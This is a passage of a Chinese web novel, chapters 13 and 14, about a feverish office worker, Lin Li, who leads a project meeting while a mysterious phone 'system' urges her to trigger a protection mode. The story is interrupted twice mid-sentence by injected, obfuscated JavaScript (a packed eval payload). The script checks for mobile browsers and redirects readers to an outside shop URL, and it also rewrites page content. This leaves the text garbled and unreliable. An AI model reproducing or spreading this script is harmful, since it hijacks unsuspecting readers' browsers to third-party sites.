有人在打印机旁边抱怨卡纸,有人端着咖啡站着刷手机,技术已经在群里贴上昨天邮件的阅读回执截图。 “还挺平和。”江奇扫了一眼群,“目前没看到反对的。” 林黎点开内部群。 签字归属的邮件被置顶在上面,下面零零散散几条回复,大多是“收到”“了解”“按此执行”。 手机屏幕边缘浮出一行提示。 【波动评估:低】 【无需额外说明】 她看了一眼,没太在意。 确实没什么波动。 正准备关掉群聊,屏幕忽然又跳出一条新消息。 ——一个平时不太发言的部门负责人。 【签字归属明确后,是否需要同步历史项目?】 这句话一出,群里安静了两秒。 紧接着,另一个人接上:【对,我们之前几个存量项目怎么处理?】 江奇抬头看了她一眼:“这个倒是……昨天没聊到。” 林黎的手指在屏幕上停了一会儿。 昨天会议里确实只讨论了新增项目的签字归属。 历史项目,确实没提到过。 手机屏幕又亮了一下。 【预测偏差:+1.2%】 群里还在继续。 有人提议开个小会补充说明,有人说可以统一打包处理。 事情并不严重,只是多了一步。 她抬头看向窗外。 阳光正从云缝里落下来,雨后的路面反着光,车流重新规整地往前走。 林黎低头,在群里回了一句:【历史项目下午一起梳理,不用单独开会。】 发送。 手机屏幕在她掌心里微微发热。 角落里那行小字没有消失。 【自主变量影响系数:上调】 如果变量开始有自己的方向,那她每一次“提前”,都可能不只是提前。 13. 013 外卖袋子落在桌面上,“哐”一声。 “谁点的麻辣香锅?”小王一边拆外包装一边吸气,“味儿太冲了。” “冲吗?”江奇从显示器后面探出半张脸,鼻子皱了皱,“我觉得还好吧。” “你鼻子已经被辣坏了。” 椅子轮子在地毯上滚动,桌上的纸杯被碰倒,水晃了一圈,溅出一点,又被手忙脚乱地立起来。 旁边人见状笑骂了一句“你小心点”,起身去帮对方找纸巾。午休刚到,空气里是热气腾腾的外卖味、打印机的油墨味,还有手机外放的短视频声音。 午后的阳光斜着照进来,在玻璃上铺开一层淡淡的白。 林黎盯着屏幕。 历史项目清单一行一行排得整齐,编号、日期、责任人。 她的光标停在[边界说明]那一栏。 指尖悬着,没落下去。 “你不吃?”江奇抱着餐盒站在她旁边,筷子还叼在嘴里。 “等会儿。”她自顾自思索着,没看他。 “等哪会儿?” “这行改完。” “这行昨天不是才改过?” 林黎这才抬头看他一眼。 眼睛有些泛红,睫毛底下压着一层浅浅的水汽。 “昨天是路径,今天是补丁。” “你是技术吗?” 刚过来摸鱼的技术愣了一下,指着自己:“我吗?” 林黎吸吸鼻子,闷声回:“不是。” 说完这句,她低头又继续看屏幕,视线在表格上停了会,尝试重新对焦。 江奇没理旁边自己加戏的技术,伸手去挪她的鼠标,“那就别给自己找活了,先吃饭。” 她手腕一偏,避开了。 动作不大,却明显慢了半拍。 江奇的手在半空顿了一下。 “我真不饿。” 林黎的语气没变,声音有点发闷。 江奇这回没接玩笑,盯着她看了两秒。 “你脸色不太对。” 他把筷子放下,皱皱眉,转头喊:“小李——过来一下。” 刚来没多久的实习小姑娘从隔壁工位探出头:“啊?” “来看看你林姐是不是发烧了。” “啊?”小李有点懵地走过来,手里还捏着一张便利贴。 “啊什么啊,摸额头你总会吧。” 小李慢慢走近,动作有点拘谨,轻轻把手贴在林黎额头上。 停了两秒。 “好像……有点热?” 林黎下意识往后躲了一点,笑了一下。 “你手凉。” “我手不凉啊。”小李又贴了一下,这次更确定,“真的有点烫。” 旁边技术也凑过来:“哎你们别围着她,空气都不流通了。” “那你凑过来干嘛?”小王回怼,“你体积最大。” “我又不占位置——” “行了行了,”风控端着杯子走过来,“让她自己说。” 林黎闭眼,呼了口气,指腹用了些力摁了摁发胀的太阳穴。 “不严重。”她声音有点哑,“就是昨天淋雨有点感冒。” “你不是说没淋到雨?”江奇立刻抓住漏洞。 “……就淋到一点。” “昨天让你拿把伞走,还不当回事。” 她没再反驳,重新低头看屏幕。 数字有一瞬间叠在一起。 她眨了一下眼。 重影没有立刻消失。 桌上正在充电的手机屏幕微微亮起。 【生理状态:异常】 【容错率下降9%】 【建议:暂停路径干预】 “下午的会你还能行吗?”技术忽然问。 林黎抬头。 “行。” “真行?” “我什么时候不行?” 她起身想去接杯水。 椅子往后滑了一下,轮子在地毯上摩擦出轻微的声响。 站起来的那一下,脚步有点虚。 旁边的同事下意识伸手扶了一下她的手臂。 江奇已经上前一步,“你别逞强。” “我没逞——” 话还没说完,耳边声音忽然被拉远,像有人把她的音量调小了一格。 小李的声音变得模糊:“江哥,黎姐的脸更白了……” 旁边同事赶紧说:“量个体温吧。” 风控低声劝:“下午要不推——” 林黎能听见,却像隔着一层罩子。 视野边缘泛起一圈淡淡的白。 桌上的笔被她无意识碰掉,“啪”地一声滚到地上。 下一秒,有人稳稳抓住她的肩膀。 “坐下。” “别站着。” 椅子被拉过来,她被按回去。 呼吸有点急促,额角也冒出一层细汗。 有人去找体温计,细心的女生已经转身去把空调温度调高,风口调转方向。 刚刚还带着玩笑氛围的办公室,安静下来。 角落的手机屏幕再一次悄悄亮起。 【当前状态:低容错】 【强制保护模式:可触发】 【是否执行】 林黎终于注意到,盯着那行字,慢慢眨了下眼。 “……什么保护模式?” 声音轻得几乎听不见。 “怎么了?”小李就在旁边,以为她要说什么,弯下腰凑近。 ——“怎么了?” 声音从走廊那边过来。 围着的人下意识往旁边挪了挪,小王把椅子往里勾,小李顺手把被碰倒的笔筒扶起来,笔哗啦一声重新站直。 季忻州走进来,袖口卷到手腕上,文件夹夹在臂弯里。他没有立刻开口,视线扫过体温计、药板、桌面上滚停的那颗白色药片,最后落到林黎脸上。 在对方明显不对劲的脸色上停了一会。 “她发烧了。”江奇先开口,语气认真汇报,“38.3。” “刚测的?” “刚测的。” 小李举着体温计,像举着证据。 季忻州点了一下头,走近一步。 他伸手的时候,林黎才意识到对方已经站在自己面前。 手背贴上她的额头。 触感冰凉。 她下意识抬眼看他,本来准备把“没事”两个字丢出去,结果嘴巴一张,脑子却没跟上—— “好凉。” 声音很轻。 旁边江奇忍不住笑了一声:“你关注点是不是有点跑偏?” 季忻州收回手,叹了口气,“药吃了吗?” 她摇头。 “她不吃,说没必要。”江奇在旁边补一句,语气像告状。 林黎皱了皱眉,“我只是说——” “吃。”季忻州打断她。 语气不重,但没有商量余地。 小李已经把药掰开递过来,“黎姐你别犟,好好吃药。” 林黎伸手去接,指尖却有点发软,药片从她手里滑出去,在桌面上滚了半圈。 “诶诶诶——”江奇伸手按住,“你今天动作都慢一拍。” “就你话多。”她声音哑着,没什么威慑力。 水杯里的水被人换成热的,蒸汽顺着光线往上飘。她低头把药吞下去,苦味在舌根化开,眉心不受控制地皱了一下。 季忻州看见了。 没说什么。只是把文件夹换到另一只手上。 “下午三点。”她忽然开口。 声音还是哑的。 “照开。” 空气里安静了一秒。 有人轻轻清了下嗓子。 江奇下意识看向季忻州。 季忻州没看别人,低头看她。 林黎坐着,手压在桌沿上,指节因为用力微微发白。 “开。”他说。 停了一下,又补充。 “时间别拉太长。” 林黎点头,嘴角轻轻往上动了一下。 “行。” 他说完转身往外走。 走到门口又停下,侧过一点头:“进会议室前再量一次体温。” 人已经走远。 围着的人慢慢散开。有人重新拿起筷子,有人回到工位敲键盘。 办公区恢复原来的声音——键盘、椅子轮子、外卖塑料袋的摩擦声。 林黎坐在原地,手指轻轻摩挲着翻页笔。 她盯着走廊那块空出来的光,眨了下眼。 像是刚反应过来刚才发生了什么。 — 下午三点。 会议室的灯比外面亮一点,幕布落下时带着轻微的布料摩擦声。投影仪“滴”了一下,历史项目清单被推到墙上,密密麻麻的日期和签字人一行行排开。 林黎站在左侧。 她习惯站在那一边,离插线口近,也方便转身写补充说明。翻页笔在指间转了一圈,又被她按住。 “昨天公开的是新增项目签字归属。” 她开口,声音比平时低一点。 第一页翻过去。 光打在幕布上,白得有点晃眼。她眨了一下眼睛,视线重新对焦。 “今天补历史项目边界。” 后排键盘开始响,风控已经在记录。技术靠在椅背上,笔在指间转着,盯着屏幕。 “第三项——” 林黎顿了一瞬。 太阳穴轻轻跳了一下,幕布上的日期忽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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会议室安静了两秒。没有追问,也没有补充。 椅子陆续被推开,文件合上,水杯被拎起来。 季忻州坐在后排,一直没有插话。他指尖在桌面轻轻敲了一下,声音不大。 “清单今晚发我。” 她点头,“好。” 人群开始往外走。 幕布慢慢卷上去,光重新铺进来,会议室的亮白变回日常的灰。 林黎站在原地,手还搭在桌面上。 太阳穴还在轻轻跳。 直到江奇弯腰去收线,抬头看了她一眼。 “还撑得住?” 林黎侧头看他。 眼睛还是有点红,但神情已经恢复成平时那种松松的样子。 笑了一下。 “小问题。” — 晚上九点半。 办公区已经安静下来,灯只剩下林黎头顶这一排。屏幕的白光映在桌面上,邮件发送成功的提示还挂在右下角。 手机轻轻震动。 她看了一会备注,才接起电话。 “还在公司?” 母亲的声音透过话筒传过来。 “嗯,刚结束。”她说,“今天有个会。” 那边静了一瞬。 “声音怎么哑了?” 林黎清了清嗓子,“空调吹的。” “生病了?” 语气没有意外,像是早就知道答案。 她低头看着桌角那杯已经凉掉的水,指尖轻轻在杯壁上划了一下。 “有点感冒。”她改口,“不严重。” 电话那头没有责怪,也没有追问。 只是一声轻轻的呼吸。 “你从小就这样。”母亲说,“一生病就更爱逞强。” 林黎笑了一下。 “今天工作很顺利。”她把话题拐走,“方案过了。” “那挺好。”母亲应了一声。 “别太晚回去。” “嗯。” 她应着,鼻子却忽然有点发酸。 仰头看了一眼天花板,把那股热意压回去。 “我没事。”林黎又说了一遍。 电话那头停了两秒。 “我知道。”母亲轻声说,“你说没事的时候,才最不像没事。” 林黎没接这句话。 过了一会,母亲才说:“早点回去,路上注意。” “好。” 办公室重新安静下来。 她坐在椅子上没动。 灯光打在桌面上,影子拉得很长。 手机屏幕忽然亮了一下。 【保护模式:可触发】 【是否执行】 林黎盯着那行字看了两秒,直接把手机翻过去,扣在桌面上。 窗外夜色压得很低。 她忽然觉得,今晚可能会下雨。 14. 014 手机屏幕被她翻过去的时候,世界终于安静了。 林黎盯着桌角那杯早就凉掉的水,看了两秒,手指把杯子往旁边推了推。水沿着杯壁晃了一圈,又慢慢停下来。 工位上只剩她头顶这一排灯。冷白光压下来,清楚看到键盘缝隙里卡着一点灰,屏幕角落还亮着未读提示。她把外套拉链拉到下巴,又松开一点,喉咙干得发涩,吞咽时有点疼。 “空调吹的。”她低声说了一句。 像在给自己找补。 她把电脑合上,电源线绕了两圈塞进包里,动作比平时慢一点。拉链合上的声音在空荡的办公区里显得格外清。 ——收工。 电梯里人不多,晚高峰散得差不多了。隔壁楼层有人端着外卖盒进来,热气和油烟味混在一起,盖住了电梯里的香薰味道。林黎站在角落,手插在口袋里,指尖摸到钥匙串,冰冰凉凉的。 电梯下降,“叮”一声。 她忽然觉得太阳穴跳了一下。 不是疼,是那种轻轻的抽一下。她抬手按了按,指腹在额角停了两秒才放下。 出大楼的时候风贴上来,带着一点湿气。地面还干着,但空气里确实有点闷。 林黎把口罩往上拉了拉,往地铁站方向走。 手机在口袋里震了一下。 没管。 第二下。 她还是没理。 第三下震动更明显,隔着外套都能感觉到。 林黎停在路口,红灯刚跳出来。她叹口气,把手机掏出来。 屏幕亮得有点刺眼。 【保护模式:可触发】 【是否执行】 她盯着那行“立即”看了两秒,嗓子有点哑。 “你今天挺积极。”她低声,“升级之后连语气都变了?” 下一秒界面刷新。 【生理状态持续异常】 【容错率下降:9%】 【倒计时:00:59】 林黎:“……” 她把手机举到眼前,确认自己没看错那个倒计时,忍不住笑了一声。 “……你认真的?” 数字开始跳。 00:57 00:56 …… 红灯还在读秒,周围人群往前挤,林黎却站在原地没动,灯牌的光一层层映在她的脸上。 她盯着那串数字,脑子慢半拍地转。 等会儿。 这是在催她? 她把手机屏幕往下滑,想找“关闭提示”一类的按钮。 没有。 又尝试着点了下“返回”。 没反应。 林黎抿了下唇,深吸一口气,把手机贴回掌心里。 “行。”她很诚恳地点了下头,“你厉害。” 倒计时跳到00:40。 她就这样站在原地开始看着它跳。 00:39 00:38 像被拖着走一样。 旁边有人推了她一下,“不好意思——” 她这才反应过来绿灯已经亮了,人群已经开始过马路。她被带着往前走,脚步跟上,视线却还在手机上。 这时候,林黎确实转得有点慢,脑子像隔着一层棉。 执行一下也不是不行? 她停在路口,忽然自己回过神。 “等一下。”她低声说,“我干嘛真跟着倒数。” 干脆把屏幕按灭,数字也跟着消失。 夜色重新安静下来。 她呼出一口气,才发现自己刚才竟然真有点被牵着走。 丢人。 走到地铁口的时候,风更闷了一点。远处广告屏正在播放一支广告,一个小女孩抱着雨伞,冲镜头笑。 “妈妈快点,要下雨了。” 林黎的脚步停了一瞬。 她盯着那个画面,莫名喉咙忽然发紧。 眼眶热了一下。 就一下。 然后马上抬手揉了揉鼻子,把口罩往上拉了一点。 “有病。”她小声骂自己,“真是有病。” 地铁进站的风从地下涌出来,她也就顺着人流往下走。 — 到家已经快十点。 门一关上,楼道的声音被隔绝,屋里安静得有点空。林黎没开大灯,先把鞋踢到玄关一边,包往沙发上一丢,发出闷闷一声。 她摸到饮水机,接了杯温水。水杯握在手里,热度缓慢透进掌心。 就这样靠在厨房台面边,喝了两口水,喉咙的刺痛稍微缓了一点。 手机在沙发上亮起。 没震。 林黎隔着半个客厅看过去,屏幕上依然是那行字。 【保护模式:可触发】 【是否执行】 下面的倒计时不见了,取而代之的是一行更冷静的提示, 【倒计时暂停:目标已回到安全区间】 【提示:可在睡前执行】 林黎慢半拍反应过来,“安全区间”指的是她回家了。 她站在原地,水杯还握着,忽然有点无语。 “不早说。” 系统没有回应。 但那行字一直亮着。 林黎把杯子放下,走过去坐在沙发边缘,伸手把手机拿起来。 指腹在“否”上方停了一下,又移开。 她先点开FS。 没有新消息。 摸鱼群很安静,唯一的红点来自江奇发的表情包——一只猫躺在键盘上,配字:别卷了,放过咪吧。 林黎看着那只猫,笑了一下。 笑完,嗓子又有点咳,她皱了皱眉,抬手把包里的东西掏出来。一盒药,已经拆封过,边角被她压得有点皱。 她把药板放到茶几上,跟手机摆在一起。 都挺烦的。 林黎靠回沙发背,抬手揉了揉眼睛。眼皮热得发烫,睫毛根部像粘着水汽。她闭着眼缓了一会儿,才睁开,视线落回屏幕。 她终于问了一句,“我不执行,你会怎样?” 系统像是一直在等这句话,下一秒弹出—— 【若不执行:将持续提示】 【风险:并行任务容错降低】 【建议:至少完成一项——“暂停通知”】【一键开启】 林黎盯着“一键开启”四个字,沉默两秒。 “原来你也会做产品。”她叹气,“还知道降低门槛。” 伸手点了一下。 屏幕很快闪过一行提示。 【工作软件通知:已暂停8小时】 【路径干预:已冻结】 【保护模式:未完全执行】 林黎索性把手机往旁边一放,伸手去拆那板药。铝箔被她撕开时发出“刺啦”一声。按照说明书塞亮片药片进嘴里,端起水杯一口吞下去。 苦味在舌根化开,她皱着脸嘶了一声。 手机屏幕又亮了一下。 【执行部分保护:完成】 【当前稳定值:90%】 【备注:仍需休息】 林黎盯着“仍需休息”,小声回了一句:“知道了。” 像在应付一个碎碎念的家长。 她把手机翻过去,起身去洗手间。 水声响起来的那一刻,抬头看了看镜子里的自己。 眼睛确实有点红。 她盯了两秒,忽然升起一个念头—— 如果明天季忻州发现她通知全关了、都是未读,会不会以为她终于听劝? 自己先笑了一下。 “想什么呢。”她把水拍在脸上,“又不归他管。” 出来时,客厅里只剩窗外偶尔偶尔透出的微光。 林黎直接钻进被子,拉到下巴,闭上眼。 几秒后,手机在黑暗里轻轻亮了一下。 没有声音。 只有一行调低亮度的字,像怕吵到她。 【提示:明日有外部变量靠近】 【建议:提前预留30分钟缓冲】 她已经闭上眼。 没有看见。 — 林黎到公司时,外面的天已经完全亮透了。 写字楼大厅的灯偏白,地面刚拖过,反光有点晃。保安在登记本上签字,笔尖刮纸的声音很细。她刷门禁时他抬眼看了她一下,点点头,又低下去。 电梯门合上,她靠在角落里。 镜面里映出她的脸。眼睛有点红,像没睡够,又像被风吹过。她盯了两秒,眼皮发热,眨一下,热意才散开。 空调风从出风口往下压,脖子后面一凉。她把围巾往上提了提,扣到下巴,又觉得闷,松开一点。 “叮。” 楼层到了。 办公区还没完全热闹起来。咖啡机在角落里低低响,豆子被倒入机器,“哗”一声,没一会儿香味就飘出来。打印机还在辛勤吐纸,文件还带着热气。 林黎刷卡进门时手指按得有点重。 第一次没响。 她又按了一次。 “滴——” “早啊黎姐。”小李咬着吸管从屏幕后抬头,“你脸色还是不太好。” 林黎把包挂到椅背上,肩膀松了一瞬,站着把外套拉链往下拉了两格。 “再养养。”她回。 声音比她自己想象中还哑一点,尾音有点散。她停了一下,清了清嗓子,喉咙像被轻轻刮过,疼意不明显。 桌上昨晚没喝完的水已经凉透。 她端起来喝了一口,水贴着喉咙下去,没有缓解,反而把那点涩意凸显得更清楚。 电脑亮起。 白色屏幕一下铺开,她下意识眯了下眼。 邮箱列表跳出来,林黎往下滑。 没有那场复盘的补充材料。 她停住。 “那场会的资料还没发吗?” 斜后方椅轮轻轻响,江奇转过来,手里还拿着半截面包。 “取消了啊。” 她抬眼,“什么时候?” “八点多吧。季总说改资料流转,不用到场。” 林黎握鼠标的指尖有点凉。手机就在旁边,屏幕还暗着,她关闭勿扰模式,点开消息。 08:17。 没有解释,没有补充。 也没有人追问。 “挺好的。” 语气听不出什么。 江奇盯着她看了一下,“你真觉得挺好?” “省时间。” 他说不出别的话,笑了下,“也是。” 椅子转回去。 办公区渐渐热闹起来。有人站起来伸懒腰,关节“咔”一声。有人拉开窗帘,光从玻璃外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242868|197815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面慢慢铺进来,落在桌面上,像一层薄薄的灰。 林黎盯着日程表,下午两点那一格空了出来。 她原本已经在地铁里把开场白顺过一遍。怎么压时间,怎么提前把争议点拆开,连最后一句“我们按节点收口”都在心里重复过。 现在不用讲了。 她把鼠标移开,指腹在桌沿敲了一下,又停住。 吸了口气。 还是不太舒服。 — 十点半,会议室。 门一关,外面的声音立刻远了。灯比办公区亮,冷白光压在头顶,投影幕布反着光,刺得她眼睛有点发酸。 林黎站在左侧,翻页笔握在手里,指节压出一点白。 “第三项——” 声音出口那一瞬,她感觉喉咙紧了一下。不是疼,是像有什么东西卡在那儿,让她不得不慢一点。 她停了一下,清嗓子。 “历史责任按时间节点划分。” 原本准备好的下一句没接上,脑子里那条线像被人掐断一截。 会议室里有人翻页,纸张摩擦声被放大。林黎舔了下发干的嘴唇,直接改口,绕开那条断掉的线。 “部门只是执行单位,签字人以节点为准。” 话落下去。 空气安静了一瞬。 风控抬头,眉头动了一下,像在确认这句话是不是能写进纪要。 技术原本低头记笔记,笔尖停住。 林黎自己也怔了下。 这比她准备的更为直接,且不留余地。 但说出去那一刻,她反而松了点。 “有异议现在提。” 翻页笔在指间轻轻敲了一下。 没有人接。 她继续往下讲。 讲到第五项,她伸手去拿水杯。杯子刚抬起来,水在里面晃了一圈,差点溅到杯沿。 手指赶紧收紧,稳住。 后排。 季忻州全程没有低头看资料。 他注视着她的一举一动。 眼神里带着看不懂的意味。 会议结束得很快,椅子往后推的声音此起彼伏。 林黎刚站起来,视线忽然轻轻发白了一下。 像眼前的灯光亮了一格,又慢慢暗回去。 她手撑在桌沿上,指腹压着桌面,稳了一下呼吸。 “你还行吗?”江奇压低声音问。 她笑了一下,笑得很短。 “你今天问题很多。” “就你嘴硬。” “哈哈。” 话刚出口,喉咙又紧了一下。她没咳出来,舌尖抵了抵上颚,把那点痒压回去。 走廊里光线比会议室暗一点,脚步声落在地板上。她走得不快,鞋跟踩下去时有一点钝响。 手机在口袋里震了一下。 她掏出来,屏幕亮起。 【检测到排程调整】 【来源:季忻州】 她眉心微微动了一下。 点开日程。 之后的会议都不见了。 林黎站在原地没动。 有人从她身边走过去,讨论午饭吃什么,语气轻松又自然。 她盯着那一格空白,那点落差这才具体出来。 等反应过来时人已经在茶水间。 水壶红灯亮着,里面的发出一点细细的“嘶”声,蒸汽在壶嘴边缘轻轻颤着。 她把杯子放在台面上,手撑着边缘,指尖微微泛白。 “哎。”她低低叹了口气。 “怎么?” 声音从门口传来。 她抬头。 季忻州站在对面。 白衬衫袖口挽到手腕上一寸,线条干净。肩线笔直,布料在胸口那一段被撑起,随着呼吸起伏得很轻。 灯光从头顶落下来,衬衫下的轮廓被压出一点分明的线条。 他手里拿着文件夹,不靠门框,也不往里走。 林黎的视线从他身上扫过又很快收回去,像什么都没发生。 “没事。” 茶水间很小,两个人之间只隔着一张台面。 他的目光落在她握着杯子的手上。 “下午回去休息吧。” 林黎抬头。 这一回,目光直接撞上对方。 “啊?” 她顿了一下。 “谢谢,那我一会就走。” 水壶自动断电,“咔哒”一声。 热气从壶嘴冒出来,贴着空气往上飘。 茶水间突然很安静。 “你今天状态不太好。”他说。 她下意识回:“还行。” 话说完,自己都觉得接得不太对。 季忻州重复了一遍:“还行?” 她没继续接话。 不想解释,也不想承认。 “我能撑。” “我没说你不能。” 停了一秒。 “只是没必要。” 林黎把杯子端起来,从他身侧绕过去。 “没事。” 擦肩那一瞬间,能明显感觉到对方身体的热度。 她握着杯子的手更紧了一点,水在里面晃出一圈细小的波纹。 办公室里桌上的手机屏幕亮了一下。 【提示:外部保护行为确认】